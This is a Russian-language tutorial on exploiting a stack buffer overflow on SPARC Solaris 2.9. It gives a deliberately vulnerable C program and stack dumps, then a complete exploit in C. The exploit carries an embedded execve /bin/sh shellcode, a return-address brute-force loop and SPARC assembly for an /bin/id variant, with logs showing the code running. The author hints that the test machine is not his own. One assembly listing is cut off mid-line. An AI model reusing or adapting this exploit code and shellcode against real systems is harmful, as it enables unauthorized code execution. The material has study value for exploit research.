-* Sunos/Solaris bof *-
                           ^ ^ ^ ^ ^ ^ ^ ^ ^

   Причин написать эту банальную, казалось бы, статью было четыре:

     - непривычная архитектура (SPARC)
     - непривычная ось (Solaris 2.9)
     - мало инфы в сети
     - использование именно Solaris гос. структурами США %)

   Собственно приступим. Вот пример уязвимой проги:

  #include <stdio.h>

  int rabbit(char *txt)
  {
    int l;
    char test[48];

  #ifdef _DEBUG

    l = &test;
    printf("[+] addr: 0x%x\n", l);   // выводим адрес буфера test, он
                                     // пригодится при подборе ret'a

    // dump stack
    printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
      "%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
      "%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");

    printf("[+] do strcpy\n\n");

  #endif

    strcpy(test, txt);

  #ifdef _DEBUG
    printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
     "%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
     "%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");
  #endif

    return 0;
  }


  int main(int argc, char *argv[])
  {
    long sp, fp;

  #ifdef _DEBUG

    // посмотрим что у нас в стеке сразу после вызова main()
    printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");

    printf("[+] argc addr: 0x%x\n", &argc); // вывод адресов аргументов,
    printf("[+] argv addr: 0x%x\n", &argv); // переданных функции
    printf("[+] argv[0] addr: 0x%x\n", &argv[0]);
    printf("[+] argv[1] addr: 0x%x\n", &argv[1]);

  #endif

    rabbit(argv[1]);
    return 0;
  }


   Собственно, вот и всё что нужно для начала, посмотрим на стек:

 bash-2.05$ gcc -o bof -D_DEBUG bof.c
 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff8
 ff3caff8 ffbffdb4 4 ffbffdc0
 5 ffbffe04 0 0
 2 ffbffdb4 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd94
 [+] argv addr: 0xffbffd98
 [+] argv[0] addr: 0xffbffdb4
 [+] argv[1] addr: 0xffbffdb8
 [+] addr: 0xffbffc90     <<-------------------  адрес буфера test[] в стеке
 ffbffc90 0 ff33c000 0    <<-------------------  дамп стека до копирования
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff8 ffbffdb8 ffbffcd8 10848
 359c0 ff3b3814 ffbffff8 ffbffc90
 ffbffcf0 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffdb4 ffbffdc0 20c84
 0 0 ffbffd50 10588
     ^^^^^ -----------------------------  Ret.Addr

 0 ffbffe8a 4 359c0
 ff3b3814 ffbffff8 ffbffdb8 ffbffdb4
 4 4 5 ffbffe04
 0 0 2 ffbffdb4
 0 0 0 0

 [+] do strcpy       <<------------------------ вызов strcpy()

 ffbffea8 ffbffc90 61616100 61
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616100 ffbffdb8 ffbffcd8 10848
 359c0 ff3b3814 ffbffff8 ffbffc90
 ffbffcf0 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffdb4 ffbffdc0 20c84
 0 0 ffbffd50 10588
 0 ffbffe8a 4 359c0
 ff3b3814 ffbffff8 ffbffdb8 ffbffdb4
 4 4 5 ffbffe04
 0 0 2 ffbffdb4
 0 0 0 0


   Теперь попробуем найти eip и затереть его.

 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff3
 ff3caff8 ffbffd7c 4 ffbffd88
 5 ffbffdcc 0 0
 2 ffbffd7c 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd5c
 [+] argv addr: 0xffbffd60
 [+] argv[0] addr: 0xffbffd7c
 [+] argv[1] addr: 0xffbffd80
 [+] addr: 0xffbffc58
 ffbffc58 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff3 ffbffd80 ffbffca0 10848
 359c0 ff3b3814 ffbffff3 ffbffc58
 ffbffcb8 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd7c ffbffd88 20c84
 0 0 ffbffd18 10588
 0 ffbffe52 4 359c0
 ff3b3814 ffbffff3 ffbffd80 ffbffd7c
 4 4 5 ffbffdcc
 0 0 2 ffbffd7c
 0 0 0 0
 [+] do strcpy

 ffbffea4 ffbffc58 61610050 6161
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61610000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd7c ffbffd88 20c84
 0 0 ffbffd18 10588
 0 ffbffe52 4 359c0
 ff3b3814 ffbffff3 ffbffd80 ffbffd7c
 4 4 5 ffbffdcc
 0 0 2 ffbffd7c
 0 0 0 0

 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff5
 ff3caff8 ffbffd54 4 ffbffd60
 5 ffbffda4 0 0
 2 ffbffd54 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd34
 [+] argv addr: 0xffbffd38
 [+] argv[0] addr: 0xffbffd54
 [+] argv[1] addr: 0xffbffd58
 [+] addr: 0xffbffc30
 ffbffc30 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff5 ffbffd58 ffbffc78 10848
 359c0 ff3b3814 ffbffff5 ffbffc30
 ffbffc90 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd54 ffbffd60 20c84
 0 0 ffbffcf0 10588
 0 ffbffe2a 4 359c0
 ff3b3814 ffbffff5 ffbffd58 ffbffd54
 4 4 5 ffbffda4
 0 0 2 ffbffd54
 0 0 0 0
 [+] do strcpy

 ffbffea4 ffbffc30 500000 61
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 0 0 ffbffcf0 10588
 0 ffbffe2a 4 359c0
 ff3b3814 ffbffff5 ffbffd58 ffbffd54
 4 4 5 ffbffda4
 0 0 2 ffbffd54
 0 0 0 0

 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff2
 ff3caff8 ffbffd4c 4 ffbffd58
 5 ffbffd9c 0 0
 2 ffbffd4c 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd2c
 [+] argv addr: 0xffbffd30
 [+] argv[0] addr: 0xffbffd4c
 [+] argv[1] addr: 0xffbffd50
 [+] addr: 0xffbffc28
 ffbffc28 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff2 ffbffd50 ffbffc70 10848
 359c0 ff3b3814 ffbffff2 ffbffc28
 ffbffc88 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd4c ffbffd58 20c84
 0 0 ffbffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff2 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0
 [+] do strcpy

 ffbffea0 ffbffc28 61000000 6100
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61000000 ffbffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff2 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0

 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff4
 ff3caff8 ffbffd4c 4 ffbffd58
 5 ffbffd9c 0 0
 2 ffbffd4c 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd2c
 [+] argv addr: 0xffbffd30
 [+] argv[0] addr: 0xffbffd4c
 [+] argv[1] addr: 0xffbffd50
 [+] addr: 0xffbffc28
 ffbffc28 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff4 ffbffd50 ffbffc70 10848
 359c0 ff3b3814 ffbffff4 ffbffc28
 ffbffc88 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd4c ffbffd58 20c84
 0 0 ffbffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff4 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0
 [+] do strcpy

 ffbffea4 ffbffc28 61616100 61
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616100 ffbffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff4 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0
 bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ff342088 359c0 ff3b3814 ffbffff5
 ff3caff8 ffbffd4c 4 ffbffd58
 5 ffbffd9c 0 0
 2 ffbffd4c 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd2c
 [+] argv addr: 0xffbffd30
 [+] argv[0] addr: 0xffbffd4c
 [+] argv[1] addr: 0xffbffd50
 [+] addr: 0xffbffc28
 ffbffc28 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff5 ffbffd50 ffbffc70 10848
 359c0 ff3b3814 ffbffff5 ffbffc28
 ffbffc88 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd4c ffbffd58 20c84
 0 0 ffbffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff5 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0
 [+] do strcpy

 ffbffea4 ffbffc28 500000 61
 0 0 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 61616161 61616161
 61616161 61616161 bffce8 10588
 0 ffbffe22 4 359c0
 ff3b3814 ffbffff5 ffbffd50 ffbffd4c
 4 4 5 ffbffd9c
 0 0 2 ffbffd4c
 0 0 0 0
 Segmentation Fault (core dumped)


   Отлично, eip (на sparc'e он конечно  называется по-другому  %)) затёрт.
   Btw,  обратите  внимание на то,  что перед ним  в стеке не  лежит  %fp.
   Немного необычное устройство стека,  видимо тут off-by-one и fp-corrupt
   непрокатят.. Вернёмся к нашим баранам, вот пример эксплоита:

 #include <stdio.h>
 #include <unistd.h>

 #define  OFFSET       140 // 128 байт до переполнения + 3 копии ret-адреса
 #define  RET          0xffbffc04
 #define  BRUTE        0xffbffdff
 #define  RET_ADDR     0xffbffc28
 #define  NOP          0x92184001  // в качестве нопа or %g1,%g1,%o1

 // порезаный execve() шеллкод,  60 байт
 char shellcode[] =
    "\x21\x0b\xcb\xd8\xa0\x14\x22\x69\x23\x1b\x8b\xdc\xa2\x14\x63\x68"
    "\xe0\x3b\xbf\xe8\xc0\x23\xbf\xf0\x90\x23\xa0\x18\xd0\x23\xbf\xf4"
    "\xc0\x23\xbf\xf8\x92\x23\xa0\x0c\x94\x1a\x40\x09\x82\x10\x20\x3b"
    "\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

 int main(int argc, char *argv[])
 {
   int i, nop, ret, b = 0;
   char argz[12], *ptr, *buf;

   if (argc > 1)
   {
     ret = RET_ADDR;
     b++;
   }

   ptr = (char *)malloc(OFFSET);

   if (ptr == 0)
   {
     printf("[-] cant alloc mem\n");
     return 0;
   }

   if (!b)
     ret = RET; // ret addr
   nop = NOP; // nop

   buf = ptr;

   for (i=0; i < (OFFSET - sizeof(shellcode) - 4); i+=4)
   {
     memcpy(buf, &nop, 4);
     buf += 4;
   }

   memcpy(buf, &shellcode, sizeof(shellcode));
   buf += sizeof(shellcode);

   while(ret < BRUTE)
   {

     printf("[+] trying retaddr = 0x%x\n", ret);

     if (b == 0)
     {

       if (fork() == 0)
       {
         memcpy((char *)(ptr+OFFSET-12), &ret, 4); // push ret addr
         memcpy((char *)(ptr+OFFSET-8), &ret, 4); // push ret addr
         memcpy((char *)(ptr+OFFSET-4), &ret, 4); // push ret addr
         execl("./bof", "./bof", ptr, 0);
         exit(1);
       }

     } else {
       memcpy((char *)(ptr+OFFSET-12), &ret, 4); // push ret addr
       memcpy((char *)(ptr+OFFSET-8), &ret, 4); // push ret addr
       memcpy((char *)(ptr+OFFSET-4), &ret, 4); // push ret addr
       execl("./bof", "./bof", ptr, 0);
       exit(1);
     }

     ret += 4;
     if (b) break;
   }
   return 0;
 }

   Обратите внимание на RET_ADDR, его значение равно адресу буфера test.
   Пробуем:

 bash-2.05$ ./xpl test
 ff342088 359c0 ff3b3814 ffbffff6
 ff3caff8 ffbffd64 4 ffbffd70
 5 ffbffdb0 0 0
 2 ffbffd64 0 0
 0 0 0 0
 [+] argc addr: 0xffbffd44
 [+] argv addr: 0xffbffd48
 [+] argv[0] addr: 0xffbffd64
 [+] argv[1] addr: 0xffbffd68
 [+] addr: 0xffbffc40
 ffbffc40 0 ff33c000 0
 0 0 0 0
 10ab0 4 359c0 ff3b3814
 ffbffff6 ffbffd68 ffbffc88 10848
 359c0 ff3b3814 ffbffff6 ffbffc40
 ffbffca0 ff29caf8 0 0
 ff33e6b0 ff33c000 ff342090 0
 0 0 0 ff3ec8ac
 2 ffbffd64 ffbffd70 20c84
 0 0 ffbffd00 10588
 0 ffbffe36 4 359c0
 ff3b3814 ffbffff6 ffbffd68 ffbffd64
 4 4 5 ffbffdb0
 0 0 2 ffbffd64
 0 0 0 0
 [+] do strcpy

 ffbffeb8 ffbffc40 500000 92
 0 0 92184001 92184001
 92184001 92184001 92184001 92184001
 92184001 92184001 92184001 92184001
 92184001 92184001 92184001 92184001
 92184001 92184001 210bcbd8 a0142269
 231b8bdc a2146368 e03bbfe8 c023bff0
 9023a018 d023bff4 c023bff8 9223a00c
 941a4009 8210203b 91d02008 82102001
 91d02008 ffbffc28 bffd00 10588
 0 ffbffe36 4 359c0
 ff3b3814 ffbffff6 ffbffd68 ffbffd64
 4 4 5 ffbffdb0
 0 0 2 ffbffd64
 0 0 0 0
 $

   Вот тебе, бабушка, и юрьев день ) Судя по тому, что шелл не запустился,
   можно придти  к выводу, что ret оказался  не совсем  точен.  Ок,  тогда
   обратимся к старому  доброму брутфорсу, благо  перебирать много вряд ли
   придётся. RET - начальное значение перебора, BRUTE - конечное.

 bash-2.05$ gcc -o bof bof.c // пересобираем без _DEBUG чтобы не засирал вывод
                             // отладочными данными
 bash-2.05$ ./xpl
 [+] trying retaddr = 0xffbffc04
 [+] trying retaddr = 0xffbffc08
 [+] trying retaddr = 0xffbffc0c
 [+] trying retaddr = 0xffbffc10
 [+] trying retaddr = 0xffbffc14
 $ [+] trying retaddr = 0xffbffc18
 [+] trying retaddr = 0xffbffc1c
 [+] trying retaddr = 0xffbffc20
 [+] trying retaddr = 0xffbffc24
 [+] trying retaddr = 0xffbffc28
 [+] trying retaddr = 0xffbffc2c
 [+] trying retaddr = 0xffbffc30
 [+] trying retaddr = 0xffbffc34
 [+] trying retaddr = 0xffbffc38
 [+] trying retaddr = 0xffbffc3c
 [+] trying retaddr = 0xffbffc40
 $ [+] trying retaddr = 0xffbffc44
 [+] trying retaddr = 0xffbffc48
 [+] trying retaddr = 0xffbffc4c
 [+] trying retaddr = 0xffbffc50
 [+] trying retaddr = 0xffbffc54
 [+] trying retaddr = 0xffbffc58
 [+] trying retaddr = 0xffbffc5c
 [+] trying retaddr = 0xffbffc60
 $ $ $ $ $ $ $ $ [+] trying retaddr = 0xffbffc64
 [+] trying retaddr = 0xffbffc68
 [+] trying retaddr = 0xffbffc6c
 [+] trying retaddr = 0xffbffc70
 [+] trying retaddr = 0xffbffc74
 [+] trying retaddr = 0xffbffc78
 [+] trying retaddr = 0xffbffc7c
 [+] trying retaddr = 0xffbffc80
 [+] trying retaddr = 0xffbffc84
 [+] trying retaddr = 0xffbffc88
 [+] trying retaddr = 0xffbffc8c
 [+] trying retaddr = 0xffbffc90
 [+] trying retaddr = 0xffbffc94
 [+] trying retaddr = 0xffbffc98
 [+] trying retaddr = 0xffbffc9c
 [+] trying retaddr = 0xffbffca0
 [+] trying retaddr = 0xffbffca4
 [+] trying retaddr = 0xffbffca8
 [+] trying retaddr = 0xffbffcac
 [+] trying retaddr = 0xffbffcb0
 [+] trying retaddr = 0xffbffcb4
 [+] trying retaddr = 0xffbffcb8
 [+] trying retaddr = 0xffbffcbc
 [+] trying retaddr = 0xffbffcc0
 [+] trying retaddr = 0xffbffcc4
 [+] trying retaddr = 0xffbffcc8
 [+] trying retaddr = 0xffbffccc
 [+] trying retaddr = 0xffbffcd0
 [+] trying retaddr = 0xffbffcd4
 [+] trying retaddr = 0xffbffcd8
 [+] trying retaddr = 0xffbffcdc
 [+] trying retaddr = 0xffbffce0
 [+] trying retaddr = 0xffbffce4
 [+] trying retaddr = 0xffbffce8
 [+] trying retaddr = 0xffbffcec
 [+] trying retaddr = 0xffbffcf0
 [+] trying retaddr = 0xffbffcf4
 [+] trying retaddr = 0xffbffcf8
 [+] trying retaddr = 0xffbffcfc
 [+] trying retaddr = 0xffbffd00
 [+] trying retaddr = 0xffbffd04
 [+] trying retaddr = 0xffbffd08
 [+] trying retaddr = 0xffbffd0c
 [+] trying retaddr = 0xffbffd10
 [+] trying retaddr = 0xffbffd14
 [+] trying retaddr = 0xffbffd18
 [+] trying retaddr = 0xffbffd1c
 [+] trying retaddr = 0xffbffd20
 [+] trying retaddr = 0xffbffd24
 [+] trying retaddr = 0xffbffd28
 [+] trying retaddr = 0xffbffd2c
 [+] trying retaddr = 0xffbffd30
 [+] trying retaddr = 0xffbffd34
 [+] trying retaddr = 0xffbffd38
 [+] trying retaddr = 0xffbffd3c
 [+] trying retaddr = 0xffbffd40
 [+] trying retaddr = 0xffbffd44
 [+] trying retaddr = 0xffbffd48
 [+] trying retaddr = 0xffbffd4c
 [+] trying retaddr = 0xffbffd50
 [+] trying retaddr = 0xffbffd54
 [+] trying retaddr = 0xffbffd58
 [+] trying retaddr = 0xffbffd5c
 [+] trying retaddr = 0xffbffd60
 [+] trying retaddr = 0xffbffd64
 [+] trying retaddr = 0xffbffd68
 [+] trying retaddr = 0xffbffd6c
 [+] trying retaddr = 0xffbffd70
 [+] trying retaddr = 0xffbffd74
 [+] trying retaddr = 0xffbffd78
 [+] trying retaddr = 0xffbffd7c
 [+] trying retaddr = 0xffbffd80
 [+] trying retaddr = 0xffbffd84
 [+] trying retaddr = 0xffbffd88
 [+] trying retaddr = 0xffbffd8c
 [+] trying retaddr = 0xffbffd90
 [+] trying retaddr = 0xffbffd94
 [+] trying retaddr = 0xffbffd98
 [+] trying retaddr = 0xffbffd9c
 [+] trying retaddr = 0xffbffda0
 [+] trying retaddr = 0xffbffda4
 [+] trying retaddr = 0xffbffda8
 [+] trying retaddr = 0xffbffdac
 [+] trying retaddr = 0xffbffdb0
 [+] trying retaddr = 0xffbffdb4
 [+] trying retaddr = 0xffbffdb8
 [+] trying retaddr = 0xffbffdbc
 [+] trying retaddr = 0xffbffdc0
 [+] trying retaddr = 0xffbffdc4
 [+] trying retaddr = 0xffbffdc8
 [+] trying retaddr = 0xffbffdcc
 [+] trying retaddr = 0xffbffdd0
 [+] trying retaddr = 0xffbffdd4
 [+] trying retaddr = 0xffbffdd8
 [+] trying retaddr = 0xffbffddc
 [+] trying retaddr = 0xffbffde0
 [+] trying retaddr = 0xffbffde4
 [+] trying retaddr = 0xffbffde8
 [+] trying retaddr = 0xffbffdec
 [+] trying retaddr = 0xffbffdf0
 [+] trying retaddr = 0xffbffdf4
 [+] trying retaddr = 0xffbffdf8
 [+] trying retaddr = 0xffbffdfc
 echo bla
 bla
 bash-2.05$


   Ок, тут происходит следующая фигня:  т.к. при вызове fork() наследуются
   дескрипторы 0-2, то чайлду и парренту приходится делить их. А поскольку
   активен парент, шелл загибается (в данный момент на тестируемой системе
   запрещено вешать  бекграундные процессы,  и менять это по  меньшей мере
   палево для меня ;)). Но самое интересное в том, что обещанная защита от
   выполнения  кода в стеке  дала маху (или мне  приснилось  что Sun очень
   хвастались устойчивостью своей системы?.. ).


   Теперь немного модифицируем наш шеллкод, пусть запускается не  /bin/sh,
   а /bin/id.  Тогда мы в любом  случае  сможем  определить  что  ret-addr
   подошёл.

 bash-2.05$ cat exec_id.s
 .text
 .align 4
 .global _start
 _start:

 ! execve();
 set 0x2f2f6269, %l0
 set 0x6e2f6964, %l1
 std %l0, [ %sp - 24 ]
 clr [ %sp - 16 ]
 sub %sp, 24, %o0

 st %o0, [ %sp - 12 ]
 clr [ %sp - 8 ]
 sub %sp, 12, %o1

 xor %o1,%o1,%o2
 mov 59, %g1
 ta 8

 ! exit()
 mov 1, %

 bash-2.05$ /usr/ccs/bin/as -o ex.o exec_id.s
 bash-2.05$ /usr/ccs/bin/ld -o ex ex.o
 bash-2.05$ ./ex
 uid=502(darth) gid=1(other)
 bash-2.05$ w
   4:18pm  up 14 day(s), 15:11,  4 users,  load average: 0.40, 0.42, 0.38
 User     tty           login@  idle   JCPU   PCPU  what
 darth    pts/2         3:52pm                      w
 root     pts/3         4:07pm                      bash
 bash-2.05$ damn..
 bash-2.05$ /usr/ccs/bin/dis ./ex

 * бля лог дампа где-то потерялся %)) Вобщем суть его в том что нужно
   поменять всего-навсего 4 байта исходного шеллкода. *

   В итоге получаем:

  /*  /bin/id execve() shellcode   */
  char shellcode[] =
     "\x21\x0b\xcb\xd8\xa0\x14\x22\x69\x23\x1b\x8b\xda\xa2\x14\x61\x64"
     "\xe0\x3b\xbf\xe8\xc0\x23\xbf\xf0\x90\x23\xa0\x18\xd0\x23\xbf\xf4"
     "\xc0\x23\xbf\xf8\x92\x23\xa0\x0c\x94\x1a\x40\x09\x82\x10\x20\x3b"
     "\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";


 bash-2.05$ gcc -o xpl bof_xpl.c
 bash-2.05$ ./xpl
 [+] trying retaddr = 0xffbffc04
 [+] trying retaddr = 0xffbffc08
 [+] trying retaddr = 0xffbffc0c
 [+] trying retaddr = 0xffbffc10
 [+] trying retaddr = 0xffbffc14
 [+] trying retaddr = 0xffbffc18
 uid=502(darth) gid=1(other)
 [+] trying retaddr = 0xffbffc1c
 [+] trying retaddr = 0xffbffc20
 [+] trying retaddr = 0xffbffc24
 [+] trying retaddr = 0xffbffc28
 [+] trying retaddr = 0xffbffc2c
 [+] trying retaddr = 0xffbffc30
 [+] trying retaddr = 0xffbffc34
 [+] trying retaddr = 0xffbffc38
 [+] trying retaddr = 0xffbffc3c
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 [+] trying retaddr = 0xffbffc40
 [+] trying retaddr = 0xffbffc44
 [+] trying retaddr = 0xffbffc48
 [+] trying retaddr = 0xffbffc4c
 [+] trying retaddr = 0xffbffc50
 [+] trying retaddr = 0xffbffc54
 [+] trying retaddr = 0xffbffc58
 [+] trying retaddr = 0xffbffc5c
 [+] trying retaddr = 0xffbffc60
 [+] trying retaddr = 0xffbffc64
 [+] trying retaddr = 0xffbffc68
 [+] trying retaddr = 0xffbffc6c
 [+] trying retaddr = 0xffbffc70
 [+] trying retaddr = 0xffbffc74
 uid=502(darth) gid=1(other)
 [+] trying retaddr = 0xffbffc78
 [+] trying retaddr = 0xffbffc7c
 [+] trying retaddr = 0xffbffc80
 [+] trying retaddr = 0xffbffc84
 [+] trying retaddr = 0xffbffc88
 [+] trying retaddr = 0xffbffc8c
 [+] trying retaddr = 0xffbffc90
 [+] trying retaddr = 0xffbffc94
 [+] trying retaddr = 0xffbffc98
 [+] trying retaddr = 0xffbffc9c
 [+] trying retaddr = 0xffbffca0
 [+] trying retaddr = 0xffbffca4
 [+] trying retaddr = 0xffbffca8
 [+] trying retaddr = 0xffbffcac
 [+] trying retaddr = 0xffbffcb0
 [+] trying retaddr = 0xffbffcb4
 [+] trying retaddr = 0xffbffcb8
 [+] trying retaddr = 0xffbffcbc
 [+] trying retaddr = 0xffbffcc0
 [+] trying retaddr = 0xffbffcc4
 [+] trying retaddr = 0xffbffcc8
 [+] trying retaddr = 0xffbffccc
 [+] trying retaddr = 0xffbffcd0
 [+] trying retaddr = 0xffbffcd4
 [+] trying retaddr = 0xffbffcd8
 [+] trying retaddr = 0xffbffcdc
 [+] trying retaddr = 0xffbffce0
 [+] trying retaddr = 0xffbffce4
 [+] trying retaddr = 0xffbffce8
 [+] trying retaddr = 0xffbffcec
 [+] trying retaddr = 0xffbffcf0
 [+] trying retaddr = 0xffbffcf4
 [+] trying retaddr = 0xffbffcf8
 [+] trying retaddr = 0xffbffcfc
 [+] trying retaddr = 0xffbffd00
 [+] trying retaddr = 0xffbffd04
 [+] trying retaddr = 0xffbffd08
 [+] trying retaddr = 0xffbffd0c
 [+] trying retaddr = 0xffbffd10
 [+] trying retaddr = 0xffbffd14
 [+] trying retaddr = 0xffbffd18
 [+] trying retaddr = 0xffbffd1c
 [+] trying retaddr = 0xffbffd20
 [+] trying retaddr = 0xffbffd24
 [+] trying retaddr = 0xffbffd28
 [+] trying retaddr = 0xffbffd2c
 [+] trying retaddr = 0xffbffd30
 [+] trying retaddr = 0xffbffd34
 [+] trying retaddr = 0xffbffd38
 [+] trying retaddr = 0xffbffd3c
 [+] trying retaddr = 0xffbffd40
 [+] trying retaddr = 0xffbffd44
 [+] trying retaddr = 0xffbffd48
 [+] trying retaddr = 0xffbffd4c
 [+] trying retaddr = 0xffbffd50
 [+] trying retaddr = 0xffbffd54
 [+] trying retaddr = 0xffbffd58
 [+] trying retaddr = 0xffbffd5c
 [+] trying retaddr = 0xffbffd60
 [+] trying retaddr = 0xffbffd64
 [+] trying retaddr = 0xffbffd68
 [+] trying retaddr = 0xffbffd6c
 [+] trying retaddr = 0xffbffd70
 [+] trying retaddr = 0xffbffd74
 [+] trying retaddr = 0xffbffd78
 [+] trying retaddr = 0xffbffd7c
 [+] trying retaddr = 0xffbffd80
 [+] trying retaddr = 0xffbffd84
 [+] trying retaddr = 0xffbffd88
 [+] trying retaddr = 0xffbffd8c
 [+] trying retaddr = 0xffbffd90
 [+] trying retaddr = 0xffbffd94
 [+] trying retaddr = 0xffbffd98
 [+] trying retaddr = 0xffbffd9c
 [+] trying retaddr = 0xffbffda0
 [+] trying retaddr = 0xffbffda4
 [+] trying retaddr = 0xffbffda8
 [+] trying retaddr = 0xffbffdac
 [+] trying retaddr = 0xffbffdb0
 [+] trying retaddr = 0xffbffdb4
 [+] trying retaddr = 0xffbffdb8
 [+] trying retaddr = 0xffbffdbc
 [+] trying retaddr = 0xffbffdc0
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 uid=502(darth) gid=1(other)
 [+] trying retaddr = 0xffbffdc4
 [+] trying retaddr = 0xffbffdc8
 [+] trying retaddr = 0xffbffdcc
 [+] trying retaddr = 0xffbffdd0
 [+] trying retaddr = 0xffbffdd4
 [+] trying retaddr = 0xffbffdd8
 [+] trying retaddr = 0xffbffddc
 [+] trying retaddr = 0xffbffde0
 [+] trying retaddr = 0xffbffde4
 [+] trying retaddr = 0xffbffde8
 [+] trying retaddr = 0xffbffdec
 [+] trying retaddr = 0xffbffdf0
 [+] trying retaddr = 0xffbffdf4
 [+] trying retaddr = 0xffbffdf8
 [+] trying retaddr = 0xffbffdfc
 bash-2.05$

   Теперь видно, что всё работает нормально. Как ни  странно,  в этот  раз
   ret-ы легли немного иначе,  хотя возможно это искажение вызвано адскими
   лагами ).

